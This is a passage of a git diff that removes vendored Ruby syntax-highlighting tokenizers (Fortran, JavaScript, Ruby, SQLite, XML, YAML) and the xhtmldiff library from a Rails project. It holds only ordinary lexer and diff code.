-      end
-
-    end
-
-    private
-
-    def macro(name, regex=nil)
-      regex ? @macros[name] = regex : @macros[name].source
-    end
-
-    def token(name, pattern=nil, &block)
-      raise ArgumentError, "name required" unless name
-
-      patterns = []
-      patterns << pattern if pattern
-      yield(patterns) if block_given?
-      if patterns.empty?
-        raise ArgumentError, "at least one pattern required"
-      end
-      patterns.collect! do |pattern|
-        source = pattern.source
-        source = "\\A#{source}"
-        Regexp.new(source, Regexp::IGNORECASE + Regexp::MULTILINE)
-      end
-
-      @tokens[name] = Regexp.union(*patterns)
-    end
-
-    alias :m :macro
-
-  end
-
-  SYNTAX["css21"] = CSS21
-
-end
-
-
diff --git a/vendor/plugins/syntax/lib/syntax/lang/fortran.rb b/vendor/plugins/syntax/lib/syntax/lang/fortran.rb
deleted file mode 100644
index 923d9e3f..00000000
--- a/vendor/plugins/syntax/lib/syntax/lang/fortran.rb
+++ /dev/null
@@ -1,149 +0,0 @@
-# fortran.rb -- a free-form Fortran module for the Ruby Syntax library
-#
-# Copyright (C) 2009-2010 Jason Blevins
-# License: 3-clause BSD (the same as Syntax itself)
-
-require 'syntax'
-
-module Syntax
-
-# A tokenizer for free-form Fortran source code.
-class Fortran < Tokenizer
-
-    # Fortran keywords
-    LC_KEYWORDS =
-        %w{ assign backspace call close common continue data dimension do
-            else end endfile endif enddo entry equivalence external
-            format function goto if implicit inquire intrinsic open
-            parameter pause print program read return rewind
-            save stop subroutine then write } +
-        [ "block data", "go to" ] +
-    # Fortran 90 keywords
-        %w{ allocate allocatable case contains cycle deallocate
-            elsewhere exit include interface intent module namelist nullify
-            only operator optional pointer private procedure public
-            result recursive select sequence target type use while where } +
-    # Fortran 95 keywords
-        %w{ elemental forall pure } +
-    # Fortran 2003 keywords
-        %w{ abstract associate asynchronous bind class deferred enum enumerator
-            extends final flush generic import non_overridable nopass pass
-            protected value volatile wait } +
-    # Fortran 2008 keywords
-        %w{ block codimension concurrent contiguous critical submodule
-            lock unlock } +
-        [ "error stop", "sync all", "sync images", "sync memory" ]
-
-    # List of identifiers recognized as types
-    LC_TYPES = [ "character", "complex", "logical", "integer", "real",
-                 "double precision" ]
-
-    # Fortran intrinsic procedures
-    LC_INTRINSICS = %w{
-        abs achar acos acosh adjustl adjustr aimag
-        aint all allocated anint any asin asinh
-        associated atan atan2 atanh atomic_define atomic_ref
-        bessel_j0 bessel_j1 bessel_jn
-        bessel_y0 bessel_y1 bessel_yn
-        bit_size btest
-        bge bgt ble blt
-        c_associated c_f_pointer c_f_procpointer
-        c_funloc c_loc c_sizeof
-        ceiling char cmplx command_argument_count
-        compiler_version compiler_options
-        conjg cos cosh count cpu_time cshift
-        date_and_time dble digits dim dot_product dprod
-        dshiftl dshiftr
-        eoshift epsilon erf erfc erfc_scaled exp exponent
-        execute_command_line extends_type_of
-        findloc float floor fraction
-        gamma get_command get_command_argument
-        get_environment_variable
-        huge hypot
-        iachar iall iand iany ibclr ibits ibset ichar image_index
-        int ior iparity is_contiguous is_iostat_end is_iostat_eor
-        ishft ishftc
-        kind
-        lbound lcobound leadz len len_trim lge lgt lle llt
-        log log10 log_gamma logical
-        maskl maskr matmul max maxexponent maxloc maxval merge merge_bits
-        min minexponent minloc minval mod modulo
-        move_alloc mvbits
-        nearest new_line nint norm2 not null num_images
-        pack parity popcnt poppar precision present product
-        radix random_number random_seed range real
-        repeat reshape rrspacing
-        same_type_as scale scan selected_char_kind selected_int_kind
-        selected_real_kind set_exponent shape shiftl shiftr sign
-        sin sinh size sngl spacing spread sqrt storage_size sum system_clock
-        tan tanh this_image tiny trailz transfer transpose trim
-        ubound ucobound unpack
-        verify
-    }
-
-    # Also support all uppercase keywords, types, and procedures
-    KEYWORDS = Set.new LC_KEYWORDS + LC_KEYWORDS.map { |x| x.upcase }
-    TYPES = Set.new LC_TYPES + LC_TYPES.map { |x| x.upcase }
-    INTRINSICS = Set.new LC_INTRINSICS + LC_INTRINSICS.map { |x| x.upcase }
-
-    # Step through a single iteration of the tokenization process.
-    def step
-      case
-      when check( /program\s+/ )
-        start_group :keyword, scan( /program\s+/ )
-        start_group :function,  scan_until( /(?=[;(\s]|#{EOL})/ )
-      when check( /subroutine\s+/ )
-        start_group :keyword, scan( /subroutine\s+/ )
-        start_group :function,  scan_until( /(?=[;(\s]|#{EOL})/ )
-      when check( /function\s+/ )
-        start_group :keyword, scan( /function\s+/ )
-        start_group :function,  scan_until( /(?=[;(\s]|#{EOL})/ )
-      when check( /module\s+/ )
-        start_group :keyword, scan( /module\s+/ )
-        start_group :function,  scan_until( /(?=[;\s]|#{EOL})/ )
-      when check( /\.true\.|\.false\.|\.TRUE\.|\.FALSE\./ )
-        start_group :constant,
-        scan(/\.true\.|\.false\.|\.TRUE\.|\.FALSE\./)
-      when scan( /(\d+\.?\d*|\d*\.?\d+)([eEdDqQ][+-]?\d+)?(_\w+)?/ )
-        start_group :number, matched
-      when scan( /[bB]\'[01]+\'|[oO]\'[0-7]+\'|[zZ]\'[0-9a-fA-F]+\'/ )
-        start_group :number, matched
-      else
-        case peek(1)
-        when /[\n\r]/
-          start_group :normal, scan( /\s+/ )
-        when /\s/
-          start_group :normal, scan( /\s+/ )
-        when "!"
-          start_group :comment, scan( /![^\n\r]*/ )
-        when /[A-Za-z]/
-          word = scan( /\w+/ )
-          if KEYWORDS.include?(word)
-            start_group :keyword, word
-          elsif TYPES.include?(word)
-            start_group :type, word
-          elsif INTRINSICS.include?(word)
-            start_group :function, word
-          elsif
-            start_group :ident, word
-          end
-        when '"'
-          # allow for continuation characters within strings
-          start_group :string, scan(/"([^"]*(&[ ]*[\n\r]+)?)*"/)
-        when "'"
-          # allow for continuation characters within strings
-          start_group :string, scan(/'([^']*(&[ ]*[\n\r]+)?)*'/)
-        when /[-!?*\/+=<>()\[\]\{}:;,&|%]/
-          start_group :punct, scan(/./)
-        else
-          # pass everything else through
-          append getch
-        end
-      end
-    end
-
-  end
-
-  SYNTAX["fortran"] = Fortran
-
-end
diff --git a/vendor/plugins/syntax/lib/syntax/lang/javascript.rb b/vendor/plugins/syntax/lib/syntax/lang/javascript.rb
deleted file mode 100644
index 5fe13241..00000000
--- a/vendor/plugins/syntax/lib/syntax/lang/javascript.rb
+++ /dev/null
@@ -1,58 +0,0 @@
-require 'syntax'
-
-module Syntax
-
-  class Javascript < Tokenizer
-    
-    JAVASCRIPT_KEYWORDS =
-      Set.new %w{abstract break case catch class const continue
-         debugger default delete do else enum export extends
-         final finally for function goto if implements
-         import in instanceof interface native new
-         package private protected public return
-         static super switch synchronized this throw
-         throws transient try typeof
-         var void volatile while with} unless const_defined?(:JAVASCRIPT_KEYWORDS)
-
-    JAVASCRIPT_PREDEFINED_TYPES =
-      Set.new %w{boolean byte char double float int long short} unless const_defined?(:JAVASCRIPT_PREDEFINED_TYPES)
-
-    JAVASCRIPT_PREDEFINED_CONSTANTS =
-      %w{null true false} unless const_defined?(:JAVASCRIPT_PREDEFINED_CONSTANTS)
-    
-    def step
-      case
-      when scan(/\s+/)
-        start_group :normal, matched
-      when scan(/\\u[0-9a-f]{4}/i)
-        start_group :unicode, matched
-      when scan(/0[xX][0-9A-Fa-f]+/)
-        start_group :hex, matched
-      when scan(/(?:0[0-7]+)(?![89.eEfF])/)
-        start_group :oct, matched
-      when scan(/(?:\d+)(?![.eEfF])/)
-        start_group :integer, matched
-      when scan(/\d[fF]?|\d*\.\d+(?:[eE][+-]?\d+)?[fF]?|\d+[eE][+-]?\d+[fF]?/)
-        start_group :float, matched
-      when (scan(/"(?:[^"\\]|\\.)*"/) or scan(/'(?:[^'\\]|\\.)*'/) )
-        start_group :string, matched
-      when scan(/[a-z_$][a-z_\d]*/i)
-        if JAVASCRIPT_KEYWORDS.include?( matched )
-          start_group :keyword, matched
-        elsif JAVASCRIPT_PREDEFINED_TYPES.include?( matched )
-          start_group :predefined_types, matched
-        else
-          start_group :ident, matched
-        end
-      when scan(%r! // [^\n\\]* (?: \\. [^\n\\]* )* | /\* (?: .*? \*/ | .* ) !mx)
-        start_group :comment, matched
-      else
-        start_group :other, scan(/./x)
-      end
-    end
-    
-  end
-
-  SYNTAX["javascript"] = Javascript
-
-end
diff --git a/vendor/plugins/syntax/lib/syntax/lang/ruby.rb b/vendor/plugins/syntax/lib/syntax/lang/ruby.rb
deleted file mode 100644
index edccda03..00000000
--- a/vendor/plugins/syntax/lib/syntax/lang/ruby.rb
+++ /dev/null
@@ -1,317 +0,0 @@
-require 'syntax'
-
-module Syntax
-
-  # A tokenizer for the Ruby language. It recognizes all common syntax
-  # (and some less common syntax) but because it is not a true lexer, it
-  # will make mistakes on some ambiguous cases.
-  class Ruby < Tokenizer
-
-    # The list of all identifiers recognized as keywords.
-    KEYWORDS =
-      Set.new %w{if then elsif else end begin do rescue ensure while for
-         class module def yield raise until unless and or not when
-         case super undef break next redo retry in return alias
-         defined?}
-
-    # Perform ruby-specific setup
-    def setup
-      @selector = false
-      @allow_operator = false
-      @heredocs = []
-    end
-
-    # Step through a single iteration of the tokenization process.
-    def step
-      case
-        when bol? && check( /=begin/ )
-          start_group( :comment, scan_until( /^=end#{EOL}/ ) )
-        when bol? && check( /__END__#{EOL}/ )
-          start_group( :comment, scan_until( /\Z/ ) )
-      else
-        case
-          when check( /def\s+/ )
-            start_group :keyword, scan( /def\s+/ )
-            start_group :method,  scan_until( /(?=[;(\s]|#{EOL})/ )
-          when check( /class\s+/ )
-            start_group :keyword, scan( /class\s+/ )
-            start_group :class,  scan_until( /(?=[;\s<]|#{EOL})/ )
-          when check( /module\s+/ )
-            start_group :keyword, scan( /module\s+/ )
-            start_group :module,  scan_until( /(?=[;\s]|#{EOL})/ )
-          when check( /::/ )
-            start_group :punct, scan(/::/)
-          when check( /:"/ )
-            start_group :symbol, scan(/:/)
-            scan_delimited_region :symbol, :symbol, "", true
-            @allow_operator = true
-          when check( /:'/ )
-            start_group :symbol, scan(/:/)
-            scan_delimited_region :symbol, :symbol, "", false
-            @allow_operator = true
-          when scan( /:[_a-zA-Z@$][$@\w]*[=!?]?/ )
-            start_group :symbol, matched
-            @allow_operator = true
-          when scan( /\?(\\[^\n\r]|[^\\\n\r\s])/ )
-            start_group :char, matched
-            @allow_operator = true
-          when check( /(__FILE__|__LINE__|true|false|nil|self)[?!]?/ )
-            if @selector || matched[-1] == ?? || matched[-1] == ?!
-              start_group :ident,
-                scan(/(__FILE__|__LINE__|true|false|nil|self)[?!]?/)
-            else
-              start_group :constant,
-                scan(/(__FILE__|__LINE__|true|false|nil|self)/)
-            end
-            @selector = false
-            @allow_operator = true
-          when scan(/0([bB][01]+|[oO][0-7]+|[dD][0-9]+|[xX][0-9a-fA-F]+)/)
-            start_group :number, matched
-            @allow_operator = true
-          else
-            case peek(2)
-              when "%r"
-                scan_delimited_region :punct, :regex, scan( /../ ), true
-                @allow_operator = true
-              when "%w", "%q"
-                scan_delimited_region :punct, :string, scan( /../ ), false
-                @allow_operator = true
-              when "%s"
-                scan_delimited_region :punct, :symbol, scan( /../ ), false
-                @allow_operator = true
-              when "%W", "%Q", "%x"
-                scan_delimited_region :punct, :string, scan( /../ ), true
-                @allow_operator = true
-              when /%[^\sa-zA-Z0-9]/
-                scan_delimited_region :punct, :string, scan( /./ ), true
-                @allow_operator = true
-              when "<<"
-                saw_word = ( chunk[-1,1] =~ /[\w!?]/ )
-                start_group :punct, scan( /<</ )
-                if saw_word
-                  @allow_operator = false
-                  return
-                end
-
-                float_right = scan( /-/ )
-                append "-" if float_right
-                if ( type = scan( /['"]/ ) )
-                  append type
-                  delim = scan_until( /(?=#{type})/ )
-                  if delim.nil?
-                    append scan_until( /\Z/ )
-                    return
-                  end
-                else
-                  delim = scan( /\w+/ ) or return
-                end
-                start_group :constant, delim
-                start_group :punct, scan( /#{type}/ ) if type
-                @heredocs << [ float_right, type, delim ]
-                @allow_operator = true
-              else
-                case peek(1)
-                  when /[\n\r]/
-                    unless @heredocs.empty?
-                      scan_heredoc(*@heredocs.shift)
-                    else
-                      start_group :normal, scan( /\s+/ )
-                    end
-                    @allow_operator = false
-                  when /\s/
-                    start_group :normal, scan( /\s+/ )
-                  when "#"
-                    start_group :comment, scan( /#[^\n\r]*/ )
-                  when /[A-Z]/
-                    start_group @selector ? :ident : :constant, scan( /\w+/ )
-                    @allow_operator = true
-                  when /[a-z_]/
-                    word = scan( /\w+[?!]?/ )
-                    if !@selector && KEYWORDS.include?( word )
-                      start_group :keyword, word
-                      @allow_operator = false
-                    elsif
-                      start_group :ident, word
-                      @allow_operator = true
-                    end
-                    @selector = false
-                  when /\d/
-                    start_group :number,
-                      scan( /[\d_]+(\.[\d_]+)?([eE][\d_]+)?/ )
-                    @allow_operator = true
-                  when '"'
-                    scan_delimited_region :punct, :string, "", true
-                    @allow_operator = true
-                  when '/'
-                    if @allow_operator
-                      start_group :punct, scan(%r{/})
-                      @allow_operator = false
-                    else
-                      scan_delimited_region :punct, :regex, "", true
-                      @allow_operator = true
-                    end
-                  when "'"
-                    scan_delimited_region :punct, :string, "", false
-                    @allow_operator = true
-                  when "."
-                    dots = scan( /\.{1,3}/ )
-                    start_group :punct, dots
-                    @selector = ( dots.length == 1 )
-                  when /[@]/
-                    start_group :attribute, scan( /@{1,2}\w*/ )
-                    @allow_operator = true
-                  when /[$]/
-                    start_group :global, scan(/\$/)
-                    start_group :global, scan( /\w+|./ ) if check(/./)
-                    @allow_operator = true
-                  when /[-!?*\/+=<>(\[\{}:;,&|%]/
-                    start_group :punct, scan(/./)
-                    @allow_operator = false
-                  when /[)\]]/
-                    start_group :punct, scan(/./)
-                    @allow_operator = true
-                  else
-                    # all else just falls through this, to prevent
-                    # infinite loops...
-                    append getch
-                end
-            end
-        end
-      end
-    end
-
-    private
-
-      # Scan a delimited region of text. This handles the simple cases (strings
-      # delimited with quotes) as well as the more complex cases of %-strings
-      # and here-documents.
-      #
-      # * +delim_group+ is the group to use to classify the delimiters of the
-      #   region
-      # * +inner_group+ is the group to use to classify the contents of the
-      #   region
-      # * +starter+ is the text to use as the starting delimiter
-      # * +exprs+ is a boolean flag indicating whether the region is an
-      #   interpolated string or not
-      # * +delim+ is the text to use as the delimiter of the region. If +nil+,
-      #   the next character will be treated as the delimiter.
-      # * +heredoc+ is either +false+, meaning the region is not a heredoc, or
-      #   <tt>:flush</tt> (meaning the delimiter must be flushed left), or
-      #   <tt>:float</tt> (meaning the delimiter doens't have to be flush left).
-      def scan_delimited_region( delim_group, inner_group, starter, exprs,
-        delim=nil, heredoc=false )
-      # begin
-        if !delim
-          start_group delim_group, starter
-          delim = scan( /./ )
-          append delim
-
-          delim = case delim
-            when '{' then '}'
-            when '(' then ')'
-            when '[' then ']'
-            when '<' then '>'
-            else delim
-          end
-        end
-
-        start_region inner_group
-
-        items = "\\\\|"
-        if heredoc
-          items << "(^"
-          items << '\s*' if heredoc == :float
-          items << "#{Regexp.escape(delim)}\s*?)#{EOL}"
-        else
-          items << "#{Regexp.escape(delim)}"
-        end
-        items << "|#(\\$|@@?|\\{)" if exprs
-        items = Regexp.new( items )
-
-        loop do
-          p = pos
-          match = scan_until( items )
-          if match.nil?
-            start_group inner_group, scan_until( /\Z/ )
-            break
-          else
-            text = pre_match[p..-1]
-            start_group inner_group, text if text.length > 0
-            case matched.strip
-              when "\\"
-                unless exprs
-                  case peek(1)
-                    when "'"
-                      scan(/./)
-                      start_group :escape, "\\'"
-                    when "\\"
-                      scan(/./)
-                      start_group :escape, "\\\\"
-                    else
-                      start_group inner_group, "\\"
-                  end
-                else
-                  start_group :escape, "\\"
-                  c = getch
-                  append c
-                  case c
-                    when 'x'
-                      append scan( /[a-fA-F0-9]{1,2}/ )
-                    when /[0-7]/
-                      append scan( /[0-7]{0,2}/ )
-                  end
-                end
-              when delim
-                end_region inner_group
-                start_group delim_group, matched
-                break
-              when /^#/
-                do_highlight = (option(:expressions) == :highlight)
-                start_region :expr if do_highlight
-                start_group :expr, matched
-                case matched[1]
-                  when ?{
-                    depth = 1
-                    content = ""
-                    while depth > 0
-                      p = pos
-                      c = scan_until( /[\{}]/ )
-                      if c.nil?
-                        content << scan_until( /\Z/ )
-                        break
-                      else
-                        depth += ( matched == "{" ? 1 : -1 )
-                        content << pre_match[p..-1]
-                        content << matched if depth > 0
-                      end
-                    end
-                    if do_highlight
-                      subtokenize "ruby", content
-                      start_group :expr, "}"
-                    else
-                      append content + "}"
-                    end
-                  when ?$, ?@
-                    append scan( /\w+/ )
-                end
-                end_region :expr if do_highlight
-              else raise "unexpected match on #{matched}"
-            end
-          end
-        end
-      end
-
-      # Scan a heredoc beginning at the current position.
-      #
-      # * +float+ indicates whether the delimiter may be floated to the right
-      # * +type+ is +nil+, a single quote, or a double quote
-      # * +delim+ is the delimiter to look for
-      def scan_heredoc(float, type, delim)
-        scan_delimited_region( :constant, :string, "", type != "'",
-          delim, float ? :float : :flush )
-      end
-  end
-
-  SYNTAX["ruby"] = Ruby
-
-end
diff --git a/vendor/plugins/syntax/lib/syntax/lang/sqlite.rb b/vendor/plugins/syntax/lib/syntax/lang/sqlite.rb
deleted file mode 100644
index 20f82ada..00000000
--- a/vendor/plugins/syntax/lib/syntax/lang/sqlite.rb
+++ /dev/null
@@ -1,77 +0,0 @@
-require 'syntax'
-
-module Syntax
-
-  class SQLite < Tokenizer
-    
-    def self.add_function(name)
-      SQLite_PREDEFINED_FUNCTIONS << name
-    end
-
-    SQLite_PREDEFINED_FUNCTIONS = Set.new %w{abs avg coalesce count glob
-      hex ifnull last_insert_rowid length like load_extension lower 
-      ltrim max min sum nullif
-      quote random randomblob replace round
-      rtrim soundex sqlite_version substr total
-      trim typeof upper zeroblob
-      date time datetime julianday
-      strftime over} unless const_defined?(:SQLite_PREDEFINED_FUNCTIONS)
-
-    SQLite_KEYWORDS = Set.new %w{abort add after all alter analyze
-      asc attach autoincrement before by cascade change character
-      check commit conflict constraint create cross  collate
-      current_date current_time current_timestamp database default
-      deferrable deferred delete desc detach distinct drop each
-      escape except exclusive explain fail for foreign from
-      full group having if ignore immediate
-      index initially inner insert instead intersect into is
-      join key left limit modify natural of offset on or order
-      outer plan pragma primary query raise references reindex
-      rename replace restrict right rollback row select set
-      table temp temporary to transaction trigger union
-      unique update using vacuum values view virtual
-      where partition} unless const_defined?(:SQLite_KEYWORDS)
-
-    SQLite_DATATYPES = Set.new %w{null none text numeric integer
-      text blob int varchar char real float
-      double} unless const_defined?(:SQLite_DATATYPES)
-
-    SQLite_OPERATORS = Set.new %w{not escape isnull notnull between and
-      in exists case when then else begin end cast as
-      like glob regexp < >  || * / % + - << >>
-      & | <= >= = == != <>
-      match} unless const_defined?(:SQLite_OPERATORS)
-    
-    def step
-      case
-      when scan(/\s+/)
-        start_group :normal, matched
-      when scan(%r{ "(?: \\. | \\" | [^"\n])*" }x)
-        start_group :string, matched
-      when scan(%r{ '(?: \\. | \\' | [^'\n])*' }x )
-        start_group :string, matched
-      when (scan(/[a-z_][a-z_\d]+/i) or scan(/[<>\|\*%&!=]+/))
-        m = matched.downcase
-        if SQLite_PREDEFINED_FUNCTIONS.include?( m )
-          start_group :function, matched
-        elsif SQLite_KEYWORDS.include?( m )
-          start_group :keyword, matched
-        elsif SQLite_DATATYPES.include?( m )
-          start_group :datatype, matched
-        elsif SQLite_OPERATORS.include?( m )
-          start_group :operator, matched
-        else
-          start_group :ident, matched
-        end
-      when scan(/--.*$/)
-        start_group :comment, matched
-      else
-        start_group :other, scan(/./x)
-      end
-    end
-
-  end
-
-  SYNTAX["sqlite"] = SQLite
-
-end
diff --git a/vendor/plugins/syntax/lib/syntax/lang/xml.rb b/vendor/plugins/syntax/lib/syntax/lang/xml.rb
deleted file mode 100644
index 7d530e02..00000000
--- a/vendor/plugins/syntax/lib/syntax/lang/xml.rb
+++ /dev/null
@@ -1,108 +0,0 @@
-require 'syntax'
-
-module Syntax
-
-  # A simple implementation of an XML lexer. It handles most cases. It is
-  # not a validating lexer, meaning it will happily process invalid XML without
-  # complaining.
-  class XML < Tokenizer
-
-    # Initialize the lexer.
-    def setup
-      @in_tag = false
-    end
-
-    # Step through a single iteration of the tokenization process. This will
-    # yield (potentially) many tokens, and possibly zero tokens.
-    def step
-      start_group :normal, matched if scan( /\s+/ )
-      if @in_tag
-        case
-          when scan( /([-\w]+):([-\w]+)/ )
-            start_group :namespace, subgroup(1)
-            start_group :punct, ":"
-            start_group :attribute, subgroup(2)
-          when scan( /\d+/ )
-            start_group :number, matched
-          when scan( /[-\w]+/ )
-            start_group :attribute, matched
-          when scan( %r{[/?]?>} )
-            @in_tag = false
-            start_group :punct, matched
-          when scan( /=/ )
-            start_group :punct, matched
-          when scan( /["']/ )
-            scan_string matched
-          else
-            append getch
-        end
-      elsif ( text = scan_until( /(?=[<&])/ ) )
-        start_group :normal, text unless text.empty?
-        if scan(/<!--.*?(-->|\Z)/m)
-          start_group :comment, matched
-        else
-          case peek(1)
-            when "<"
-              start_group :punct, getch
-              case peek(1)
-                when "?"
-                  append getch
-                when "/"
-                  append getch
-                when "!"
-                  append getch
-              end
-              start_group :normal, matched if scan( /\s+/ )
-              if scan( /([-\w]+):([-\w]+)/ )
-                start_group :namespace, subgroup(1)
-                start_group :punct, ":"
-                start_group :tag, subgroup(2)
-              elsif scan( /[-\w]+/ )
-                start_group :tag, matched
-              end
-              @in_tag = true
-            when "&"
-              if scan( /&\S{1,10};/ )
-                start_group :entity, matched
-              else
-                start_group :normal, scan( /&/ )
-              end
-          end
-        end
-      else
-        append scan_until( /\Z/ )
-      end
-    end
-
-    private
-
-      # Scan the string starting at the current position, with the given
-      # delimiter character.
-      def scan_string( delim )
-        start_group :punct, delim
-        match = /(?=[&\\]|#{delim})/
-        loop do
-          break unless ( text = scan_until( match ) )
-          start_group :string, text unless text.empty?
-          case peek(1)
-            when "&"
-              if scan( /&\S{1,10};/ )
-                start_group :entity, matched
-              else
-                start_group :string, getch
-              end
-            when "\\"
-              start_group :string, getch
-              append getch || ""
-            when delim
-              start_group :punct, getch
-              break
-          end
-        end
-      end
-
-  end
-
-  SYNTAX["xml"] = XML
-
-end
diff --git a/vendor/plugins/syntax/lib/syntax/lang/yaml.rb b/vendor/plugins/syntax/lib/syntax/lang/yaml.rb
deleted file mode 100644
index 53b052db..00000000
--- a/vendor/plugins/syntax/lib/syntax/lang/yaml.rb
+++ /dev/null
@@ -1,105 +0,0 @@
-require 'syntax'
-
-module Syntax
-
-  # A simple implementation of an YAML lexer. It handles most cases. It is
-  # not a validating lexer.
-  class YAML < Tokenizer
-
-    # Step through a single iteration of the tokenization process. This will
-    # yield (potentially) many tokens, and possibly zero tokens.
-    def step
-      if bol?
-        case
-          when scan(/---(\s*.+)?$/)
-            start_group :document, matched
-          when scan(/(\s*)([a-zA-Z][-\w]*)(\s*):/)
-            start_group :normal, subgroup(1)
-            start_group :key, subgroup(2)
-            start_group :normal, subgroup(3)
-            start_group :punct, ":"
-          when scan(/(\s*)-/)
-            start_group :normal, subgroup(1)
-            start_group :punct, "-"
-          when scan(/\s*$/)
-            start_group :normal, matched
-          when scan(/#.*$/)
-            start_group :comment, matched
-          else
-            append getch
-        end
-      else
-        case
-          when scan(/[\n\r]+/)
-            start_group :normal, matched
-          when scan(/[ \t]+/)
-            start_group :normal, matched
-          when scan(/!+(.*?^)?\S+/)
-            start_group :type, matched
-          when scan(/&\S+/)
-            start_group :anchor, matched
-          when scan(/\*\S+/)
-            start_group :ref, matched
-          when scan(/\d\d:\d\d:\d\d/)
-            start_group :time, matched
-          when scan(/\d\d\d\d-\d\d-\d\d\s\d\d:\d\d:\d\d(\.\d+)? [-+]\d\d:\d\d/)
-            start_group :date, matched
-          when scan(/['"]/)
-            start_group :punct, matched
-            scan_string matched
-          when scan(/:\w+/)
-            start_group :symbol, matched
-          when scan(/[:]/)
-            start_group :punct, matched
-          when scan(/#.*$/)
-            start_group :comment, matched
-          when scan(/>-?/)
-            start_group :punct, matched
-            start_group :normal, scan(/.*$/)
-            append getch until eos? || bol?
-            return if eos?
-            indent = check(/ */)
-            start_group :string
-            loop do
-              line = check_until(/[\n\r]|\Z/)
-              break if line.nil?
-              if line.chomp.length > 0
-                this_indent = line.chomp.match( /^\s*/ )[0]
-                break if this_indent.length < indent.length
-              end
-              append scan_until(/[\n\r]|\Z/)
-            end
-          else
-            start_group :normal, scan_until(/(?=$|#)/)
-        end
-      end
-    end
-
-    private
-
-      def scan_string( delim )
-        regex = /(?=[#{delim=="'" ? "" : "\\\\"}#{delim}])/
-        loop do
-          text = scan_until( regex )
-          if text.nil?
-            start_group :string, scan_until( /\Z/ )
-            break
-          else
-            start_group :string, text unless text.empty?
-          end
-
-          case peek(1)
-            when "\\"
-              start_group :expr, scan(/../)
-            else
-              start_group :punct, getch
-              break
-          end
-        end
-      end
-
-  end
-
-  SYNTAX["yaml"] = YAML
-
-end
diff --git a/vendor/plugins/syntax/lib/syntax/version.rb b/vendor/plugins/syntax/lib/syntax/version.rb
deleted file mode 100644
index d5330468..00000000
--- a/vendor/plugins/syntax/lib/syntax/version.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-module Syntax
-  module Version
-    MAJOR=1
-    MINOR=0
-    TINY=0
-
-    STRING=[MAJOR,MINOR,TINY].join('.')
-  end
-end
diff --git a/vendor/plugins/xhtmldiff/lib/xhtmldiff.rb b/vendor/plugins/xhtmldiff/lib/xhtmldiff.rb
deleted file mode 100644
index fd921e1b..00000000
--- a/vendor/plugins/xhtmldiff/lib/xhtmldiff.rb
+++ /dev/null
@@ -1,180 +0,0 @@
-#!/usr/bin/env ruby
-# Author: Aredridel <aredridel@nbtsc.org>
-# Website: http://theinternetco.net/projects/ruby/xhtmldiff.html
-# Licence: same as Ruby
-# Version: 1.2.2
-#
-# Tweaks by Jacques Distler <distler@golem.ph.utexas.edu>
-#  -- add classnames to <del> and <ins> elements added by XHTMLDiff,
-#     for better CSS styling
-#  -- detect change in element name, without change in content
-
-require 'diff/lcs'
-require 'rexml/document'
-require 'delegate'
-
-def Math.max(a, b)
-	a > b ? a : b
-end
-
-module REXML
-
-	class Text 
-		def deep_clone
-			clone
-		end
-	end
-
-	class HashableElementDelegator < DelegateClass(Element)
-		def initialize(sub)
-			super sub
-		end
-		def == other
-			res = other.to_s.strip == self.to_s.strip
-			res
-		end
-
-		def eql? other
-			self == other
-		end
-
-		def[](k)
-			r = super
-			if r.kind_of? __getobj__.class
-				self.class.new(r)
-			else
-				r
-			end
-		end
-
-		def hash
-			r = __getobj__.to_s.hash
-			r
-		end
-	end
-
-end
-
-class XHTMLDiff
-	include REXML
-  attr_accessor :output
-
-	class << self
-		BLOCK_CONTAINERS = ['div', 'ul', 'li']
-		def diff(a, b)
-			if a == b
-				return a.deep_clone
-			end
-			if REXML::HashableElementDelegator === a and REXML::HashableElementDelegator === b and a.name == b.name
-				o = REXML::Element.new(a.name)
-				o.add_attributes  a.attributes
-				hd = self.new(o)
-				Diff::LCS.traverse_balanced(a, b, hd)
-				o
-			elsif REXML::Text === a and REXML::Text === b
-				o = REXML::Element.new('span')
-				aa = a.value.split(/\s/)
-				ba = b.value.split(/\s/)
-				hd = XHTMLTextDiff.new(o)
-				Diff::LCS.traverse_balanced(aa, ba, hd)
-				o
-			else
-				raise ArgumentError.new("both arguments must be equal or both be elements. a is #{a.class.name} and b is #{b.class.name}")
-			end
-		end
-	end
-
-	def diff(a, b)
-		self.class.diff(a,b)
-	end
-
-  def initialize(output)
-    @output = output
-  end
-
-    # This will be called with both elements are the same
-  def match(event)
-    @output << event.old_element.deep_clone if event.old_element
-  end
-
-  # This will be called when there is an element in A that isn't in B
-  def discard_a(event)
-		@output << wrap(event.old_element, 'del', 'diffdel') 
-  end
-  
-	def change(event)
-		begin
-			sd = diff(event.old_element, event.new_element)
-		rescue ArgumentError
-			sd = nil
-		end
-		if sd and (ratio = (Float(rs = sd.to_s.gsub(%r{<(ins|del)>.*</\1>}, '').size) / bs = Math.max(event.old_element.to_s.size, event.new_element.to_s.size))) > 0.5
-			@output << sd
-		else
-			@output << wrap(event.old_element, 'del', 'diffmod')
-			@output << wrap(event.new_element, 'ins', 'diffmod')
-		end
-  end
-
-  # This will be called when there is an element in B that isn't in A
-  def discard_b(event)
-		@output << wrap(event.new_element, 'ins', 'diffins')
-	end
-
-	def choose_event(event, element, tag)
-  end
-
-	def wrap(element, tag = nil, class_name = nil)
-		if tag 
-			el = Element.new tag
-			el << element.deep_clone
-		else
-			el = element.deep_clone
-		end
-                if class_name
-                   el.add_attribute('class', class_name)
-                end
-		el
-	end
-
-	class XHTMLTextDiff < XHTMLDiff
-		def change(event)
-			@output << wrap(event.old_element, 'del', 'diffmod')
-			@output << wrap(event.new_element, 'ins', 'diffmod')
-		end
-
-		# This will be called with both elements are the same
-		def match(event)
-			@output << wrap(event.old_element, nil, nil) if event.old_element
-		end
-
-		# This will be called when there is an element in A that isn't in B
-		def discard_a(event)
-			@output << wrap(event.old_element, 'del', 'diffdel') 
-		end
-		
-		# This will be called when there is an element in B that isn't in A
-		def discard_b(event)
-			@output << wrap(event.new_element, 'ins', 'diffins')
-		end
-
-		def wrap(element, tag = nil, class_name = nil)
-			element = REXML::Text.new(" " << element) if String === element
-                        return element unless tag
-                        wrapper_element = REXML::Element.new(tag)
-                        wrapper_element.add_text element
-                        if class_name
-                           wrapper_element.add_attribute('class', class_name)
-                        end
-                        wrapper_element
-		end
-	end
-		
-end
-
-if $0 == __FILE__
-
-	$stderr.puts "No tests available yet"
-	exit(1)
-
-end
diff --git a/vendor/rails/actionmailer/CHANGELOG b/vendor/rails/actionmailer/CHANGELOG
deleted file mode 100644
index 59f5b187..00000000
--- a/vendor/rails/actionmailer/CHANGELOG
+++ /dev/null
@@ -1,387 +0,0 @@
